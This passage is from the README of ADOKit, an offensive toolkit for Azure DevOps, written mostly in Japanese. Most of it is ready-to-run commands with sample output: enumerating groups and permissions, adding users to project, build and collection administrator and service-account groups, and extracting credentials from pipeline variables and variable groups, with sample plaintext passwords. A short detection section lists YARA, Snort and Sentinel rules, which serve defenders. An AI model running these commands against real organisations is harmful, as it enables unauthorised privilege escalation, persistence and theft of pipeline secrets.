C:\source\ADOKit-main\ADOKit\bin\Release>ADOKit.exe getteammembers /credential:apiKey /url:https://dev.azure.com/YourOrganization /search:"dev team"
================================================== Module: getteammembers Auth Type: API Key Search Term: dev team Target URL: https://dev.azure.com/YourOrganization
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
Team Name | Username | User Display Name
Dev Team | [email protected] | User 1
Dev Team | [email protected] | user3
Dev Team | [email protected] | user4
### グループ一覧
#### ユースケース
> *Azure DevOps インスタンス内のグループを一覧表示します*
#### 構文
`listgroup` モジュールと、関連する認証情報および URL を指定します。これにより、グループのユーザー プリンシパル名、表示名、説明が出力されます。
`ADOKit.exe listgroup /credential:apiKey /url:https://dev.azure.com/organizationName`
`ADOKit.exe listgroup /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName`
#### 出力例```
C:\>ADOKit.exe listgroup /credential:apiKey /url:https://dev.azure.com/YourOrganization
==================================================
Module: listgroup
Auth Type: API Key
Search Term:
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 4/3/2023 4:48:45 PM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
UPN | Display Name | Description
------------------------------------------------------------------------------------------------------------------------------------------------------------
[TestProject]\Contributors | Contributors | Members of this group can add, modify, and delete items within the team project.
[TestProject2]\Build Administrators | Build Administrators | Members of this group can create, modify and delete build definitions and manage queued and completed builds.
[YourOrganization]\Project-Scoped Users | Project-Scoped Users | Members of this group will have limited visibility to organization-level data
[ProjectWithMultipleRepos]\Build Administrators | Build Administrators | Members of this group can create, modify and delete build definitions and manage queued and completed builds.
[MaraudersMap]\Readers | Readers | Members of this group have access to the team project.
[YourOrganization]\Project Collection Test Service Accounts | Project Collection Test Service Accounts | Members of this group should include the service accounts used by the test controllers set up for this project collection.
[MaraudersMap]\MaraudersMap Team | MaraudersMap Team | The default project team.
[TEAM FOUNDATION]\Enterprise Service Accounts | Enterprise Service Accounts | Members of this group have service-level permissions in this enterprise. For service accounts only.
[YourOrganization]\Security Service Group | Security Service Group | Identities which are granted explicit permission to a resource will be automatically added to this group if they were not previously a member of any other group.
[TestProject]\Release Administrators | Release Administrators | Members of this group can perform all operations on Release Management
---SNIP---
4/3/23 20:48:46 Finished execution of listgroup
Azure DevOps インスタンス内の指定されたグループを検索する
searchgroup モジュールと検索条件を /search: コマンドライン引数で指定し、関連する認証情報と URL を指定します。これにより、一致するグループのユーザー プリンシパル名、表示名、説明が出力されます。
ADOKit.exe searchgroup /credential:apiKey /url:https://dev.azure.com/organizationName /search:"someGroup"
ADOKit.exe searchgroup /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /search:"someGroup"
C:>ADOKit.exe searchgroup /credential:apiKey /url:https://dev.azure.com/YourOrganization /search:"admin"
================================================== Module: searchgroup Auth Type: API Key Search Term: Target URL: https://dev.azure.com/YourOrganization
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
UPN | Display Name | Description
[TestProject2]\Build Administrators | Build Administrators | Members of this group can create, modify and delete build definitions and manage queued and completed builds.
[ProjectWithMultipleRepos]\Build Administrators | Build Administrators | Members of this group can create, modify and delete build definitions and manage queued and completed builds.
[TestProject]\Release Administrators | Release Administrators | Members of this group can perform all operations on Release Management
[TestProject]\Build Administrators | Build Administrators | Members of this group can create, modify and delete build definitions and manage queued and completed builds.
[MaraudersMap]\Project Administrators | Project Administrators | Members of this group can perform all operations in the team project.
[TestProject2]\Project Administrators | Project Administrators | Members of this group can perform all operations in the team project.
[YourOrganization]\Project Collection Administrators | Project Collection Administrators | Members of this application group can perform all privileged operations on the Team Project Collection.
[ProjectWithMultipleRepos]\Project Administrators | Project Administrators | Members of this group can perform all operations in the team project.
[MaraudersMap]\Build Administrators | Build Administrators | Members of this group can create, modify and delete build definitions and manage queued and completed builds.
[YourOrganization]\Project Collection Build Administrators | Project Collection Build Administrators | Members of this group should include accounts for people who should be able to administer the build resources.
[TestProject]\Project Administrators | Project Administrators | Members of this group can perform all operations in the team project.
4/3/23 20:48:42 Finished execution of searchgroup
### グループメンバーの取得
#### ユースケース
> *指定されたグループのすべてのグループメンバーを一覧表示します*
#### 構文
`getgroupmembers` モジュールと、`/group:` コマンドライン引数で検索したいグループを、関連する認証情報とURLとともに指定します。これにより、一致するグループのユーザープリンシパル名と、そのグループの各グループメンバー(ユーザーのメールアドレスと表示名を含む)が出力されます。
`ADOKit.exe getgroupmembers /credential:apiKey /url:https://dev.azure.com/organizationName /group:"someGroup"`
`ADOKit.exe getgroupmembers /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /group:"someGroup"`
#### 出力例```
C:\>ADOKit.exe getgroupmembers /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /group:"admin"
==================================================
Module: getgroupmembers
Auth Type: Cookie
Search Term:
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 4/4/2023 9:11:03 AM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
Group | Mail Address | Display Name
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
[TestProject2]\Build Administrators | [email protected] | User 1
[TestProject2]\Build Administrators | [email protected] | User 2
[MaraudersMap]\Project Administrators | [email protected] | Brett Hawkins
[MaraudersMap]\Project Administrators | [email protected] | Ron Smith
[TestProject2]\Project Administrators | [email protected] | User 1
[TestProject2]\Project Administrators | [email protected] | User 2
[YourOrganization]\Project Collection Administrators | [email protected] | John Smith
[ProjectWithMultipleRepos]\Project Administrators | [email protected] | Brett Hawkins
[MaraudersMap]\Build Administrators | [email protected] | Brett Hawkins
4/4/23 13:11:09 Finished execution of getgroupmembers
指定されたプロジェクトへの権限を持つユーザーの一覧を取得します。
getpermissions モジュールと、/project: コマンドライン引数で検索したいプロジェクトを、関連する認証情報とURLとともに指定します。これにより、一致したグループのユーザープリンシパル名、表示名、説明が出力されます。さらに、これらの各グループのグループメンバーも出力されます。
ADOKit.exe getpermissions /credential:apiKey /url:https://dev.azure.com/organizationName /project:"someproject"
ADOKit.exe getpermissions /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /project:"someproject"
C:>ADOKit.exe getpermissions /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /project:"maraudersmap"
================================================== Module: getpermissions Auth Type: Cookie Search Term: Target URL: https://dev.azure.com/YourOrganization
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
UPN | Display Name | Description
[MaraudersMap]\Build Administrators | Build Administrators | Members of this group can create, modify and delete build definitions and manage queued and completed builds.
[MaraudersMap]\Contributors | Contributors | Members of this group can add, modify, and delete items within the team project.
[MaraudersMap]\MaraudersMap Team | MaraudersMap Team | The default project team.
[MaraudersMap]\Project Administrators | Project Administrators | Members of this group can perform all operations in the team project.
[MaraudersMap]\Project Valid Users | Project Valid Users | Members of this group have access to the team project.
[MaraudersMap]\Readers | Readers | Members of this group have access to the team project.
[*] INFO: Listing group members for each group that has permissions to this project
GROUP NAME: [MaraudersMap]\Build Administrators
Group | Mail Address | Display Name
GROUP NAME: [MaraudersMap]\Contributors
Group | Mail Address | Display Name
[MaraudersMap]\Contributors | [email protected] | User 1
[MaraudersMap]\Contributors | [email protected] | User 2
GROUP NAME: [MaraudersMap]\MaraudersMap Team
Group | Mail Address | Display Name
[MaraudersMap]\MaraudersMap Team | [email protected] | Brett Hawkins
GROUP NAME: [MaraudersMap]\Project Administrators
Group | Mail Address | Display Name
[MaraudersMap]\Project Administrators | [email protected] | Brett Hawkins
GROUP NAME: [MaraudersMap]\Project Valid Users
Group | Mail Address | Display Name
GROUP NAME: [MaraudersMap]\Readers
Group | Mail Address | Display Name
[MaraudersMap]\Readers | [email protected] | John Smith
4/4/23 13:11:18 Finished execution of getpermissions
### プロジェクト管理者の追加
#### ユースケース
> *指定されたプロジェクトのプロジェクト管理者グループにユーザーを追加します。*
#### 構文
指定されたプロジェクトの`Project Administrators`グループにユーザーを追加するために、`addprojectadmin`モジュールを`/project:`および`/user:`と共に指定します。また、関連する認証情報とURLを提供してください。このアクションを実行するために必要な権限については、[モジュール詳細テーブル](#module-details-table)を参照してください。
`ADOKit.exe addprojectadmin /credential:apiKey /url:https://dev.azure.com/organizationName /project:"someProject" /user:"someUser"`
`ADOKit.exe addprojectadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /project:"someProject" /user:"someUser"`
#### 出力例```
C:\>ADOKit.exe addprojectadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /project:"maraudersmap" /user:"user1"
==================================================
Module: addprojectadmin
Auth Type: Cookie
Search Term:
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 4/4/2023 2:52:45 PM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
[*] INFO: Attempting to add user1 to the Project Administrators group for the maraudersmap project.
[+] SUCCESS: User successfully added
Group | Mail Address | Display Name
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
[MaraudersMap]\Project Administrators | [email protected] | Brett Hawkins
[MaraudersMap]\Project Administrators | [email protected] | User 1
4/4/23 18:52:47 Finished execution of addprojectadmin
指定されたプロジェクトのプロジェクト管理者グループからユーザーを削除します。
指定されたユーザーを指定されたプロジェクトの Project Administrators グループから削除するには、removeprojectadmin モジュールを /project: および /user: と共に指定します。また、関連する認証情報とURLを併せて指定してください。このアクションを実行するために必要な権限については、モジュール詳細テーブル を参照してください。
ADOKit.exe removeprojectadmin /credential:apiKey /url:https://dev.azure.com/organizationName /project:"someProject" /user:"someUser"
ADOKit.exe removeprojectadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /project:"someProject" /user:"someUser"
C:>ADOKit.exe removeprojectadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /project:"maraudersmap" /user:"user1"
================================================== Module: removeprojectadmin Auth Type: Cookie Search Term: Target URL: https://dev.azure.com/YourOrganization
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
[*] INFO: Attempting to remove user1 from the Project Administrators group for the maraudersmap project.
[+] SUCCESS: User successfully removed
Group | Mail Address | Display Name
[MaraudersMap]\Project Administrators | [email protected] | Brett Hawkins
4/4/23 19:19:44 Finished execution of removeprojectadmin
### ビルド管理者の追加
#### ユースケース
> *指定されたプロジェクトのビルド管理者グループにユーザーを追加します。*
#### 構文
特定のユーザーを指定されたプロジェクトの `Build Administrators` グループに追加するには、`addbuildadmin` モジュールを `/project:` および `/user:` と共に指定します。また、関連する認証情報とURLも指定してください。このアクションを実行するために必要な権限については、[モジュール詳細テーブル](#module-details-table) を参照してください。
`ADOKit.exe addbuildadmin /credential:apiKey /url:https://dev.azure.com/organizationName /project:"someProject" /user:"someUser"`
`ADOKit.exe addbuildadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /project:"someProject" /user:"someUser"`
#### 出力例```
C:\>ADOKit.exe addbuildadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /project:"maraudersmap" /user:"user1"
==================================================
Module: addbuildadmin
Auth Type: Cookie
Search Term:
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 4/4/2023 3:41:51 PM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
[*] INFO: Attempting to add user1 to the Build Administrators group for the maraudersmap project.
[+] SUCCESS: User successfully added
Group | Mail Address | Display Name
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
[MaraudersMap]\Build Administrators | [email protected] | User 1
4/4/23 19:41:55 Finished execution of addbuildadmin
特定のプロジェクトのビルド管理者グループからユーザーを削除します。
指定されたプロジェクトのBuild Administratorsグループから削除するユーザーに対して、/project:および/user:と共にremovebuildadminモジュールを指定します。また、関連する認証情報とURLも指定してください。この操作に必要な権限については、モジュール詳細テーブルを参照してください。
ADOKit.exe removebuildadmin /credential:apiKey /url:https://dev.azure.com/organizationName /project:"someProject" /user:"someUser"
ADOKit.exe removebuildadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /project:"someProject" /user:"someUser"
C:>ADOKit.exe removebuildadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /project:"maraudersmap" /user:"user1"
================================================== Module: removebuildadmin Auth Type: Cookie Search Term: Target URL: https://dev.azure.com/YourOrganization
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
[*] INFO: Attempting to remove user1 from the Build Administrators group for the maraudersmap project.
[+] SUCCESS: User successfully removed
Group | Mail Address | Display Name
4/4/23 19:42:11 Finished execution of removebuildadmin
### コレクション管理者の追加
#### ユースケース
> *ユーザーをProject Collection Administratorsグループに追加します。*
#### 構文
`addcollectionadmin`モジュールを、指定されたユーザーを`Project Collection Administrators`グループに追加するための`/user:`とともに指定します。さらに、関連する認証情報とURLを指定します。この操作に必要な権限については、[モジュール詳細テーブル](#module-details-table)を参照してください。
`ADOKit.exe addcollectionadmin /credential:apiKey /url:https://dev.azure.com/organizationName /user:"someUser"`
`ADOKit.exe addcollectionadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /user:"someUser"`
#### 出力例```
C:\>ADOKit.exe addcollectionadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /user:"user1"
==================================================
Module: addcollectionadmin
Auth Type: Cookie
Search Term:
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 4/4/2023 4:04:40 PM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
[*] INFO: Attempting to add user1 to the Project Collection Administrators group.
[+] SUCCESS: User successfully added
Group | Mail Address | Display Name
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
[YourOrganization]\Project Collection Administrators | [email protected] | John Smith
[YourOrganization]\Project Collection Administrators | [email protected] | User 1
4/4/23 20:04:43 Finished execution of addcollectionadmin
プロジェクト コレクション管理者グループからユーザーを削除します。
指定されたユーザーを Project Collection Administrators グループから削除するには、removecollectionadmin モジュールと /user: を指定します。さらに、関連する認証情報とURLを指定してください。このアクションに必要なアクセス許可については、モジュール詳細テーブルを参照してください。
ADOKit.exe removecollectionadmin /credential:apiKey /url:https://dev.azure.com/organizationName /user:"someUser"
ADOKit.exe removecollectionadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /user:"someUser"
C:>ADOKit.exe removecollectionadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /user:"user1"
================================================== Module: removecollectionadmin Auth Type: Cookie Search Term: Target URL: https://dev.azure.com/YourOrganization
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
[*] INFO: Attempting to remove user1 from the Project Collection Administrators group.
[+] SUCCESS: User successfully removed
Group | Mail Address | Display Name
[YourOrganization]\Project Collection Administrators | [email protected] | John Smith
4/4/23 20:10:38 Finished execution of removecollectionadmin
### コレクションビルド管理者の追加
#### 使用例
> *ユーザーをProject Collection Build Administratorsグループに追加します。*
#### 構文
`addcollectionbuildadmin` モジュールに `/user:` を指定して、指定されたユーザーを `Project Collection Build Administrators` グループに追加します。さらに、関連する認証情報とURLを指定します。この操作に必要な権限については、[モジュール詳細テーブル](#module-details-table) を参照してください。
`ADOKit.exe addcollectionbuildadmin /credential:apiKey /url:https://dev.azure.com/organizationName /user:"someUser"`
`ADOKit.exe addcollectionbuildadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /user:"someUser"`
#### 出力例```
C:\>ADOKit.exe addcollectionbuildadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /user:"user1"
==================================================
Module: addcollectionbuildadmin
Auth Type: Cookie
Search Term:
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 4/5/2023 8:21:39 AM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
[*] INFO: Attempting to add user1 to the Project Collection Build Administrators group.
[+] SUCCESS: User successfully added
Group | Mail Address | Display Name
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
[YourOrganization]\Project Collection Build Administrators | [email protected] | User 1
4/5/23 12:21:42 Finished execution of addcollectionbuildadmin
特定のユーザーをプロジェクトコレクションのビルド管理者グループから削除します。
指定されたユーザーを Project Collection Build Administrators グループから削除するために、removecollectionbuildadmin モジュールと /user: を指定します。さらに、関連する認証情報とURLも指定します。この操作に必要なアクセス許可については、モジュール詳細テーブルを参照してください。
ADOKit.exe removecollectionbuildadmin /credential:apiKey /url:https://dev.azure.com/organizationName /user:"someUser"
ADOKit.exe removecollectionbuildadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /user:"someUser"
C:>ADOKit.exe removecollectionbuildadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /user:"user1"
================================================== Module: removecollectionbuildadmin Auth Type: Cookie Search Term: Target URL: https://dev.azure.com/YourOrganization
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
[*] INFO: Attempting to remove user1 from the Project Collection Build Administrators group.
[+] SUCCESS: User successfully removed
Group | Mail Address | Display Name
4/5/23 12:22:02 Finished execution of removecollectionbuildadmin
### コレクションビルドサービスアカウントの追加
#### ユースケース
> *Project Collection Build Service Accounts グループにユーザーを追加します。*
#### 構文
`addcollectionbuildsvc` モジュールと `/user:` を指定して、特定のユーザーを `Project Collection Build Service Accounts` グループに追加します。さらに、関連する認証情報とURLを指定します。この操作に必要な権限については、[モジュール詳細テーブル](#module-details-table) を参照してください。
`ADOKit.exe addcollectionbuildsvc /credential:apiKey /url:https://dev.azure.com/organizationName /user:"someUser"`
`ADOKit.exe addcollectionbuildsvc /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /user:"someUser"`
#### 出力例```
C:\>ADOKit.exe addcollectionbuildsvc /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /user:"user1"
==================================================
Module: addcollectionbuildsvc
Auth Type: Cookie
Search Term:
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 4/5/2023 8:22:13 AM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
[*] INFO: Attempting to add user1 to the Project Collection Build Service Accounts group.
[+] SUCCESS: User successfully added
Group | Mail Address | Display Name
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
[YourOrganization]\Project Collection Build Service Accounts | [email protected] | User 1
4/5/23 12:22:15 Finished execution of addcollectionbuildsvc
指定されたユーザーをProject Collection Build Service Accountsグループから削除します。
removecollectionbuildsvc モジュールを、/user: とともに指定されたユーザーに対して指定し、そのユーザーを Project Collection Build Service Accounts グループから削除します。さらに、関連する認証情報とURLを指定してください。この操作を実行するために必要な権限については、モジュール詳細テーブルを参照してください。
ADOKit.exe removecollectionbuildsvc /credential:apiKey /url:https://dev.azure.com/organizationName /user:"someUser"
ADOKit.exe removecollectionbuildsvc /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /user:"someUser"
C:>ADOKit.exe removecollectionbuildsvc /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /user:"user1"
================================================== Module: removecollectionbuildsvc Auth Type: Cookie Search Term: Target URL: https://dev.azure.com/YourOrganization
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
[*] INFO: Attempting to remove user1 from the Project Collection Build Service Accounts group.
[+] SUCCESS: User successfully removed
Group | Mail Address | Display Name
4/5/23 12:22:28 Finished execution of removecollectionbuildsvc
### コレクションサービスアカウントの追加
#### ユースケース
> *ユーザーを Project Collection Service Accounts グループに追加する。*
#### 構文
`addcollectionsvc` モジュールと `/user:` を指定して、指定されたユーザーを `Project Collection Service Accounts` グループに追加します。また、関連する認証情報と URL を指定してください。この操作に必要な権限については、[モジュール詳細テーブル](#module-details-table) を参照してください。
`ADOKit.exe addcollectionsvc /credential:apiKey /url:https://dev.azure.com/organizationName /user:"someUser"`
`ADOKit.exe addcollectionsvc /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /user:"someUser"`
#### 出力例```
C:\>ADOKit.exe addcollectionsvc /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /user:"user1"
==================================================
Module: addcollectionsvc
Auth Type: Cookie
Search Term:
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 4/5/2023 11:21:01 AM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
[*] INFO: Attempting to add user1 to the Project Collection Service Accounts group.
[+] SUCCESS: User successfully added
Group | Mail Address | Display Name
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
[YourOrganization]\Project Collection Service Accounts | [email protected] | John Smith
[YourOrganization]\Project Collection Service Accounts | [email protected] | User 1
4/5/23 15:21:04 Finished execution of addcollectionsvc
ユーザーを Project Collection Service Accounts グループから削除します。
removecollectionsvc モジュールに /user: を指定して、特定のユーザーを Project Collection Service Accounts グループから削除します。さらに、関連する認証情報とURLを併せて指定してください。この操作に必要な権限については、モジュール詳細テーブルを参照してください。
ADOKit.exe removecollectionsvc /credential:apiKey /url:https://dev.azure.com/organizationName /user:"someUser"
ADOKit.exe removecollectionsvc /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /user:"someUser"
C:>ADOKit.exe removecollectionsvc /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /user:"user1"
================================================== Module: removecollectionsvc Auth Type: Cookie Search Term: Target URL: https://dev.azure.com/YourOrganization
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
[*] INFO: Attempting to remove user1 from the Project Collection Service Accounts group.
[+] SUCCESS: User successfully removed
Group | Mail Address | Display Name
[YourOrganization]\Project Collection Service Accounts | [email protected] | John Smith
4/5/23 15:21:44 Finished execution of removecollectionsvc
### Get Pipeline Variables
#### Use Case
> *プロジェクトで使用されているパイプライン変数を抽出します。これらには資格情報やその他の有用な情報が含まれている可能性があります。*
#### Syntax
`getpipelinevars` モジュールと `/project:` を指定して、特定のプロジェクトで使用されているパイプライン変数を抽出します。すべてのプロジェクトからパイプライン変数を抽出するには、`/project:` 引数に `all` を指定します。
`ADOKit.exe getpipelinevars /credential:apiKey /url:https://dev.azure.com/organizationName /project:"someProject"`
`ADOKit.exe getpipelinevars /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /project:"someProject"`
`ADOKit.exe getpipelinevars /credential:apiKey /url:https://dev.azure.com/organizationName /project:"all"`
`ADOKit.exe getpipelinevars /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /project:"all"`
#### Example Output```
C:\>ADOKit.exe getpipelinevars /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /project:"maraudersmap"
==================================================
Module: getpipelinevars
Auth Type: Cookie
Project: maraudersmap
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 4/6/2023 12:08:35 PM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
Pipeline Var Name | Pipeline Var Value
-----------------------------------------------------------------------------------
credential | P@ssw0rd123!
url | http://blah/
4/6/23 16:08:36 Finished execution of getpipelinevars
プロジェクトで使用されているパイプラインシークレットの名前を抽出します。これにより、オペレーターは秘密情報の抽出を試みる場所を特定できます。
getpipelinesecrets モジュールに /project: を指定して、指定されたプロジェクトで使用されているパイプラインシークレットの名前を抽出します。全プロジェクトからパイプラインシークレットの名前を抽出する場合は、/project: 引数に all を指定します。
ADOKit.exe getpipelinesecrets /credential:apiKey /url:https://dev.azure.com/organizationName /project:"someProject"
ADOKit.exe getpipelinesecrets /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /project:"someProject"
ADOKit.exe getpipelinesecrets /credential:apiKey /url:https://dev.azure.com/organizationName /project:"all"
ADOKit.exe getpipelinesecrets /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /project:"all"
C:>ADOKit.exe getpipelinesecrets /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /project:"maraudersmap"
================================================== Module: getpipelinesecrets Auth Type: Cookie Project: maraudersmap Target URL: https://dev.azure.com/YourOrganization
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
Build Secret Name | Build Secret Value
anotherSecretPass | [HIDDEN]
secretpass | [HIDDEN]
4/10/23 14:28:38 Finished execution of getpipelinesecrets
### 変数グループを取得
#### ユースケース
> *プロジェクトで使用されている任意の変数グループと対応する変数を抽出します。これらには資格情報やその他の有用な情報が含まれている可能性があります。*
#### 構文
指定されたプロジェクトから使用されている変数グループを抽出するには、`getvariablegroups` モジュールと `/project:` を指定します。すべてのプロジェクトから変数グループを抽出する場合は、`/project:` 引数に `all` を指定します。
`ADOKit.exe getvariablegroups /credential:apiKey /url:https://dev.azure.com/organizationName /project:"someProject"`
`ADOKit.exe getvariablegroups /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /project:"someProject"`
`ADOKit.exe getvariablegroups /credential:apiKey /url:https://dev.azure.com/organizationName /project:"all"`
`ADOKit.exe getvariablegroups /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /project:"all"`
#### 出力例```
C:\>ADOKit.exe getvariablegroups /credential:"ABC123" /url:https://dev.azure.com/YourOrganization /project:"ADOKit"
==================================================
Module: getvariablegroups
Auth Type: Cookie
Project: ADOKit
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 16/05/2024 16:53:31
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
Variable Group Name | Variable Name | Variable Value
--------------------------------------------------------------------------------------------------------------------
real-test-variables | test_password | BurpIsNotBeef
real-test-variables | test_user | nicolas
fake-prod-variables | SUPERSECRET | [HIDDEN]
fake-prod-variables | SUPERNOTSECRET | ThisShouldBeSecured :/
プロジェクトで使用されているサービス接続を一覧表示します。これにより、オペレーターは使用中のサービス接続に対して資格情報の抽出を試行する場所を把握できます。
指定されたプロジェクトに対してgetserviceconnectionsモジュールと/project:を指定して使用することで、使用中のサービス接続を一覧表示します。すべてのプロジェクトからサービス接続を一覧表示する場合は、/project:引数にallを指定します。
ADOKit.exe getserviceconnections /credential:apiKey /url:https://dev.azure.com/organizationName /project:"someProject"
ADOKit.exe getserviceconnections /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /project:"someProject"
ADOKit.exe getserviceconnections /credential:apiKey /url:https://dev.azure.com/organizationName /project:"all"
ADOKit.exe getserviceconnections /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /project:"all"
C:>ADOKit.exe getserviceconnections /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /project:"maraudersmap"
================================================== Module: getserviceconnections Auth Type: Cookie Project: maraudersmap Target URL: https://dev.azure.com/YourOrganization
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
Connection Name | Connection Type | ID
Test Connection Name | generic | 195d960c-742b-4a22-a1f2-abd2c8c9b228
Not Real Connection | generic | cd74557e-2797-498f-9a13-6df692c22cac
Azure subscription 1(47c5aaab-dbda-44ca-802e-00801de4db23) | azurerm | 5665ed5f-3575-4703-a94d-00681fdffb04 Azure subscription 1(1)(47c5aaab-dbda-44ca-802e-00801de4db23) | azurerm | df8c023b-b5ad-4925-a53d-bb29f032c382
4/11/23 12:34:16 Finished execution of getserviceconnections
## 検出
以下は、このツールをデフォルト状態で使用する場合の静的シグネチャです。
* プロジェクト GUID - `{60BC266D-1ED5-4AB5-B0DD-E1001C3B1498}`
* このリポジトリ内の [ADOKit Yara ルール](https://github.com/h4wkst3r/adokit/blob/HEAD/Detections/ADOKit.yar) を参照。
* ユーザーエージェント文字列 - `ADOKit-21e233d4334f9703d1a3a42b6e2efd38`
* このリポジトリ内の [ADOKit Snort ルール](https://github.com/h4wkst3r/adokit/blob/HEAD/Detections/ADOKit.rules) を参照。
* [Microsoft Sentinel ルール](https://github.com/h4wkst3r/adokit/blob/HEAD/Detections/Sentinel-Rules)
* `ADOKitUsage.json` - 監査可能なイベント(例:ユーザーをグループに追加)を使用した ADOKit の使用を検出します。
* `PersistenceTechniqueWithADOKit.json` - ADOKit を使用した PAT または SSH キーの作成を検出します。
このツールで使用される手法の検出ガイダンスについては、X-Force Red の [ホワイトペーパー](https://www.ibm.com/downloads/cas/5JKAPVYD) を参照してください。
## ロードマップ
* Azure DevOps Server のサポート
## 参考文献
* `https://learn.microsoft.com/en-us/rest/api/azure/devops/?view=azure-devops-rest-7.1`
* `https://learn.microsoft.com/en-us/azure/devops/user-guide/what-is-azure-devops?view=azure-devops`
| 攻撃シナリオ | モジュール | 特別な権限が必要か? | 備考 |
|---|
| 偵察 | check | いいえ | |
| 偵察 | whoami | いいえ | |
| 偵察 | listorgs | いいえ | |
| 偵察 | listrepo | いいえ | |
| 偵察 | searchrepo | いいえ | |
| 偵察 | listproject | いいえ | |
| 偵察 | searchproject | いいえ | |
| 偵察 | searchcode | いいえ | |
| 偵察 | searchfile | いいえ | |
| 偵察 | listuser | いいえ | |
| 偵察 | searchuser | いいえ | |
| 偵察 | listteam | いいえ | |
| 偵察 | searchteam | いいえ | |
| 偵察 | getteammembers | いいえ | |
| 偵察 | listgroup | いいえ | |
| 偵察 | searchgroup | いいえ | |
| 偵察 | getgroupmembers | いいえ | |
| 偵察 | getpermissions | いいえ | |
| 偵察 | creds | いいえ | |
